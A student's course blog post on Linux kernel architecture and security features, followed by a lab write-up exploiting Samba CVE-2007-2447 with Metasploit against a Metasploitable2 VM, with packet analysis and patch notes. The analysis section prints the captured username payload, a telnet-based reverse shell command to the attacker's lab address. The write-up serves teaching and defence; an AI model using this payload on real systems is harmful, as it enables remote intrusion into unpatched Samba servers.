20199313 2019-2020-2 《网络攻防实践》第八周作业

20199313 2019-2020-2 《网络攻防实践》第八周作业

本博客属于课程:《网络攻防实践》
本次作业:《第八周作业》
我在这个课程的目标:掌握知识与技能,增强能力和本领,提高悟性和水平。

Linux系统架构

Linux整体架构

Linux的整体架构如下图所示:

最内层是硬件,最外层是用户常用的应用,比如说firefox浏览器,evolution查看邮件,一个计算流体模型等等。硬件是物质基础,而应用提供服务。但在两者之间,还要经过一番周折。
还记得Linux启动。Linux首先启动内核 (kernel),内核是一段计算机程序,这个程序直接管理管理硬件,包括CPU、内存空间、硬盘接口、网络接口等等。所有的计算机操作都要通过内核传递给硬件。
为了方便调用内核,Linux将内核的功能接口制作成系统调用(system call)。系统调用看起来就像C语言的函数。你可以在程序中直接调用。Linux系统有两百多个这样的系统调用。用户不需要了解内核的复杂结构,就可以使用内核。系统调用是操作系统的最小功能单位。一个操作系统,以及基于操作系统的应用,都不可能实现超越系统调用的功能。

内核

内核是操作系统的核心,具有很多最基本功能,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。
Linux 内核由如下几部分组成:内存管理、进程管理、设备驱动程序、文件系统和网络管理等。如图:

系统调用接口:SCI 层提供了某些机制执行从用户空间到内核的函数调用。这个接口依赖于体系结构,甚至在相同的处理器家族内也是如此。SCI 实际上是一个非常有用的函数调用多路复用和多路分解服务。

  1. 内存管理
    对任何一台计算机而言,其内存以及其它资源都是有限的。为了让有限的物理内存满足应用程序对内存的大需求量,Linux 采用了称为“虚拟内存”的内存管理方式。Linux 将内存划分为容易处理的“内存页”(对于大部分体系结构来说都是 4KB)。Linux 包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。
    不过内存管理要管理的可不止 4KB 缓冲区。Linux 提供了对 4KB 缓冲区的抽象,例如 slab 分配器。这种内存管理模式使用 4KB 缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存页是满的,哪些页面没有完全使用,哪些页面为空。这样就允许该模式根据系统需要来动态调整内存使用。
    为了支持多个用户使用内存,有时会出现可用内存被消耗光的情况。由于这个原因,页面可以移出内存并放入磁盘中。这个过程称为交换,因为页面会被从内存交换到硬盘上。内存管理的源代码可以在 ./linux/mm 中找到。

  2. 进程管理
    进程实际是某特定应用程序的一个运行实体。在 Linux 系统中,能够同时运行多个进程,Linux 通过在短的时间间隔内轮流运行这些进程而实现“多任务”。这一短的时间间隔称为“时间片”,让进程轮流运行的方法称为“进程调度” ,完成调度的程序称为调度程 序。
    进程调度控制进程对CPU的访问。当需要选择下一个进程运行时,由调度程序选择最值得运行的进程。可运行进程实际上是仅等待CPU资源的进程,如果某个进程在等待其它资源,则该进程是不可运行进程。Linux使用了比较简单的基于优先级的进程调度算法选择新的进程。
    通过多任务机制,每个进程可认为只有自己独占计算机,从而简化程序的编写。每个进程有自己单独的地址空间,并且只能由这一进程访问,这样,操作系统避免了进程之间的互相干扰以及“坏”程序对系统可能造成的危害。 为了完成某特定任务,有时需要综合两个程序的功能,例如一个程序输出文本,而另一个程序对文本进行排序。为此,操作系统还提供进程间的通讯机制来帮助完成这样的任务。Linux 中常见的进程间通讯机制有信号、管道、共享内存、信号量和套接字等。
    内核通过 SCI 提供了一个应用程序编程接口(API)来创建一个新进程(fork、exec 或 Portable Operating System Interface [POSⅨ] 函数),停止进程(kill、exit),并在它们之间进行通信和同步(signal 或者 POSⅨ 机制)。

  3. 文件系统
    和 DOS 等操作系统不同,Linux 操作系统中单独的文件系统并不是由驱动器号或驱动器名称(如 A: 或 C: 等)来标识的。相反,和 UNIX 操作系统一样,Linux 操作系统将独立的文件系统组合成了一个层次化的树形结构,并且由一个单独的实体代表这一文件系统。Linux 将新的文件系统通过一个称为“挂装”或“挂上”的操作将其挂装到某个目录上,从而让不同的文件系统结合成为一个整体。Linux 操作系统的一个重要特点是它支持许多不同类型的文件系统。Linux 中最普遍使用的文件系统是 Ext2,它也是 Linux 土生土长的文件系统。但 Linux 也能够支持 FAT、VFAT、FAT32、MINIX 等不同类型的文件系统,从而可以方便地和其它操作系统交换数据。由于 Linux 支持许多不同的文件系统,并且将它们组织成了一个统一的虚拟文件系统.
    虚拟文件系统(VirtualFileSystem,VFS):隐藏了各种硬件的具体细节,把文件系统操作和不同文件系统的具体实现细节分离了开来,为所有的设备提供了统一的接口,VFS提供了多达数十种不同的文件系统。虚拟文件系统可以分为逻辑文件系统和设备驱动程序。逻辑文件系统指Linux所支持的文件系统,如ext2,fat等,设备驱动程序指为每一种硬件控制器所编写的设备驱动程序模块。
    虚拟文件系统(VFS)是 Linux 内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象。VFS 在 SCI 和内核所支持的文件系统之间提供了一个交换层。即VFS 在用户和文件系统之间提供了一个交换层。
    在 VFS 上面,是对诸如 open、close、read 和 write 之类的函数的一个通用 API 抽象。在 VFS 下面是文件系统抽象,它定义了上层函数的实现方式。它们是给定文件系统(超过 50 个)的插件。文件系统的源代码可以在 ./linux/fs 中找到。
    文件系统层之下是缓冲区缓存,它为文件系统层提供了一个通用函数集(与具体文件系统无关)。这个缓存层通过将数据保留一段时间(或者随即预先读取数据以便在需要是就可用)优化了对物理设备的访问。缓冲区缓存之下是设备驱动程序,它实现了特定物理设备的接口。
    因此,用户和进程不需要知道文件所在的文件系统类型,而只需要象使用 Ext2 文件系统中的文件一样使用它们。

  4. 设备驱动程序
    设备驱动程序是 Linux 内核的主要部分。和操作系统的其它部分类似,设备驱动程序运行在高特权级的处理器环境中,从而可以直接对硬件进行操作,但正因为如此,任何一个设备驱动程序的错误都可能导致操作系统的崩溃。设备驱动程序实际控制操作系统和硬件设备之间的交互。设备驱动程序提供一组操作系统可理解的抽象接口完成和操作系统之间的交互,而与硬件相关的具体操作细节由设备驱动程序完成。一般而言,设备驱动程序和设备
    的控制芯片有关,例如,如果计算机硬盘是 SCSI 硬盘,则需要使用 SCSI 驱动程序,而不是 IDE 驱动程序。

  5. 网络接口(NET)
    提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议和网络驱动程序。网络协议部分负责实现每一种可能的网络传输协议。众所周知,TCP/IP 协议是 Internet 的标准协议,同时也是事实上的工业标准。Linux 的网络实现支持 BSD 套接字,支持全部的TCP/IP协议。Linux内核的网络部分由BSD套接字、网络协议层和网络设备驱动程序组成。
    网络设备驱动程序负责与硬件设备通讯,每一种可能的硬件设备都有相应的设备驱动程序

Linux系统的安全机制

人们都说Linux很安全,较之Windows更安全?
安全性并不是针对某个产品本身而言的。它是一整套以用户为核心的体系。安全性指的是在用户和软件之间,通过适当的交互方式,所达成的一种活跃状态。

  1. 更加卓越的补丁管理工具:
    在微软的Windows系统中,自动更新程序只会升级那些由微软公司官方所提供的组件。而第三方的应用程序却不会得到修补。从而,第三方的应用程序可能会给你的系统带来大量的安全隐患。你在使用Real player播放器吗?你需要单独升级它。在使用Flash?你还是需要单独进行升级。依此类推,对于电脑上所有的应用程序,你都需要定期地对每一款软件单独进行更新升级。这种方法非常的繁琐,并且让人心烦,而绝大多数用户很快就将这项工作忘到九霄云外去了。
    而在Linux系统中,当你在自动更新系统的时候,它将同时升级系统中所有的软件。在Ubuntu系统中,你所下载的任何软件产品,都会出现在系统的程序仓库当中,要升级它,你只需要用鼠标轻轻一点。而在其它Linux发行版本中,如果下载的软件并没有出现在系统的程序仓库中,要添加它也是非常的简便。这样的设计,极大地提高了用户实时更新系统的积极性。

  2. 更加健壮的默认设置:
    Linux系统天生就被设计成一个多用户的操作系统。因此,即便是某个用户想要进行恶意破坏,底层系统文件依然会受到保护。假如,在非常不幸的情况下,有任何远程的恶意代码在系统中被执行了,它所带来的危害也将被局限在一个小小的局部之中。
    与之形成鲜明对照的是微软的Windows XP系统。在这里,用户会默认以系统管理员的身份登录,而在系统中所发生的任何损害,都会迅速蔓延到整个系统之中。微软最新的Windows Vista系统让用户在默认设置下以受限用户的身份登录,因此它要比自己的前任更加安全一点。

  3. 模块化设计:
    Linux系统采用的是模块化设计。这表示,如果不需要的话,你可以将任何一个系统组件给删除掉。由此而带来的一个好处是,如果用户感觉Linux系统的某个部分不太安全,他就可以移除掉这个组件。这对于Windows系统来说,简直是不可思议的。比如说,如果我感觉对于自己的Linux系统来说,Firefox网络浏览器是最薄弱的一个环节,我完全可以删除掉它,用其它网络浏览器来替代,比如说Opera。而在Windows系统当中,即便是再不满意,我也无法替换微软的Internet Explorer网络浏览器。

  4. 更棒的“零日攻击(zero-day attacks)”防御工具
    即便你能确保自己的系统实时更新,这也并不代表着万无一失!零日攻击(zero-day attacks,指的是在软件生产厂商发布针对漏洞的更新补丁之前,就抢先利用该漏洞发动网络攻击的攻击方式)正在变得日益猖獗。此外,一项调查研究也显示:对于攻击者来说,他们只需要6天时间就能够开发出针对漏洞的恶意攻击代码,而软件生产厂商们却需要花费长得多的时间才能够推出相应的更新补丁。因此,一套睿智的安全策略在防御零日攻击方面至关重要。微软的Windows XP系统并没有提供这样的一套防御机制。而新的Vista系统,在保护模式状态之下,虽然有一定效果,但是也只能对针对Internet Explorer网络浏览器的攻击提供一点有限的保护。
    与之相对应的是,无论是何种类型的远程遥控代码攻击,AppArmor或SELinux,都能够为系统提供细致而周全的保护。有越来越多的主流Linux发行版本,在系统中都默认整合了AppArmor(例如,SuSE、Ubuntu Gutsy)或者SELinux(Fedora、Debian Etch、Yellow Dog)。即便是对于其它发行版本来说,用户也可以非常方便地从网络上下载并安装这两套软件。

  5. 开放源代码构架:
    在Linux系统中,当谈论到系统安全性的时候,用“你所看到的,就是你所得到的”这句话来形容,是再合适也不过了。开放源代码意味着,任何可能的软件漏洞都将被“无数双眼睛”所看到,并且得到尽可能快的修复。而更重要的是,这同时也意味着,在这里没有任何被隐藏的修复措施。作为用户,只要你有心,就可以找出自己系统所存在的安全问题,并采取相应的防范措施以应对潜在的安全威胁,即便是在此时该漏洞还没有被修补。
    而在Windows世界当中,有很多安全问题都是被掩盖起来的。微软公司内部所发现的软件漏洞,是不会让外界所知晓的,而他们所想的只是在下一个更新升级包中对它进行默默地修补就可以了。虽然这样做可以让被公开的软件漏洞数目更少,并让某些漏洞不会被大规模地利用,但这种做法同时也蒙蔽了用户的双眼。由此所导致的结果是,用户很可能不会积极地对系统进行升级,因为他不了解自己的系统存在着什么样的漏洞,以及这些漏洞的危害大小,结果反而会成为恶意攻击的牺牲品。

  6. 多样化的系统环境:
    Windows的系统环境可以说是千篇一律。这种巨大的一致性让攻击者们在编写恶意代码、病毒或其它诸如此类的一些东西时显得得心应手。反过来,看一看Linux系统世界。在这里,应用程序可以是.deb、.rpm,或源代码,以及其它诸如此类的等等。这种差异性让攻击者们很难在Linux系统身上获得像Windows系统那样的广泛影响。

实践过程

实践一:利用Metasploit渗透Linux靶机上的usermap_script安全漏洞

usermap_script安全漏洞信息

  1. Samba介绍
      Samba是linux和unix系统上实现smb协议的一个免费软件,由客户机和服务器构成。SMB是一种在局域网上实现共享文件和打印机的协议。存在一个服务器,客户机通过该协议可以服务器上的共享文件系统和打印机以及其他的资源。通过设置,还可以和全世界的电脑分享资源
  2. Username map script 是什么
    Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行,影响Samba的3.0.20到3.0.25rc3 版本,当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。
  3. 如何利用
    使用metasploit框架
    使用模块:/multi/samba/usermap_script
  4. 开放端口及对应服务:
      TCP:
        139 - 文件和打印共享 ; smbd (基于SMB(Server Message Block)协议,主要在局域网中使用,文件共享协议)
        389 - 用于 LDAP (Active Directory Mode)
        445 - NetBIOS服务在windos 2000及以后版本使用此端口, (Common Internet File System,CIFS,它是SMB协议扩展到Internet后,实现Internet文件共享)
        901 - 用于 SWAT,用于网页管理Samba
      UDP:
        137 - NetBIOS 名字服务 ; nmbd
        138 - NetBIOS 数据报服务

漏洞的时间线:

  • 2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
  • 2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
  • 2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
  • 2007年5月10日:向vendor-sec邮件列表发布通知。
  • 2007年5月14日:公开漏洞信息。

进行实践

根据个人喜好,我选用了msfconsole,这是metasploit针对命令行的操作界面
(msfgui是图形化的界面,相对更加简便)
(msfweb则是利用web注入进行反代理,和上面两种一样,都是利用模块和脚本进行快速攻击)

由于这个漏洞是针对linux的漏洞,故而攻击软件对于targets仅有Auto(通过个人尝试,auto是最好的,完美匹配各种操作系统,避免了因选错而导致的问题,同时在payload上默认也是针对shell的payload,如有额外需要可以更改,不然也是auto最方便,,,现在连攻击程序都智能了 ).

设置我们的攻击地址lhost为192.168.220.4(VMware的Kali虚拟机),设置攻击地址为192.168.220.8(VMware的Metasploitable2虚拟机)

显然我们进入了靶机的shell,攻击结束,针对windows的攻击可以见我的上一篇博客:针对windows的漏洞攻击

防守分析

防守方用wireshark捕获到了攻击的包(没用metasploit操作系统下的补包软件,命令行的补包软件可读性还是差了太多,这里使用windows下的操作系统对VMWare的整个Nat子网进行监控,成功捕获到了攻击的数据包)

看到包的一瞬间我“傻了”,跟我们上次分析的包不同,这次攻击过程短的可怕,也由此可见这个古老的漏洞真的异常危险。

  1. Tcp链接在数据包记录的前三条,这个tcp链接建立非常顺利

  2. 分析第一条SMB包(这个usermap_script安全漏洞也是利用了SMB包进行攻击,和上一次的windows的栈溢出雷同)

正常的SMB链接建立过程应当如下:

  1. Negotiate Protocol Request: 在在用户输入“\服务器名\”之后,首先要做的就是把服务器名解析为IP,可以通过DNS还是NetBIOS解析。得到IP地址后,客户端就向服务器发送第一个SMB请求:“Negotiate Protocol Request”。这个请求包含了客户端所支持的各种 SMB Dialect。
  2. Negotiate Protocol Response: 服务器收到该请求后,选择一个它支持的最新版本(比如NT LM 0.12),再通过“Negotiate Protocol Response”回复给客户端
  3. Session Setup Request: Negotiation 结束之后,,客户端请求和服务器建立一个session,在客户端发送的Session Setup Request里,包含了身份验证请求(如Kerberos的AP_REQ)。

但是,这里我们的攻击机在登录过程传递的SMB包中的Account并非一个正常的Account账户名该有的样子,给到的是一串代码:
Account: /=nohup sh -c '(sleep 3957|telnet 192.168.220.4 4444|while : ; do sh && break; done 2>&1|telnet 192.168.220.4 4444 >/dev/null 2>&1 &)'

对这段代码的意思进行解释:
由于漏洞的存在,使得我们在登录的时候,用户名可以被靶机映射为脚本并执行,
nohup sh 命令为在后台建立一个线程,由于参数-C的存在,这里就使得靶机在后台执行括号里的C语言命令,而括号里的C语言命令意思是在后台执行talnet链接,链接我们的攻击机,而且这种链接在while循环下,会不停的进行sh命令建立后台线程并且不停的telnet链接攻击机

这个攻击包我们在网上搜索smb用户名映射脚本漏洞,即可搜索到这个漏洞CVE-2007-2447,也即usermap_script安全漏洞

修补漏洞

修补用的补丁应当在出问题的地方其所归属的官方网站查找,这里提供修补网址,在修补网址中我们可以找到漏洞CVE-2007-2447的[补丁](https://download.samba.org/pub/samba/patches/security/samba-3.0.24-CVE-2007-2446_v2.patch)
补丁的做法就是在所有未知的用户登录信息的字符之前,加一个前面''字符,并且仅支持安全连接和安全的调用shell,如果用户名为空则立刻丢失链接,这样就可以避免攻击者利用账户名将攻击代码映射为脚本,如此一来就可以抵御攻击。

posted @ 2020-04-22 15:58  杜皓睿20199313  阅读(245)  评论(0编辑  收藏  举报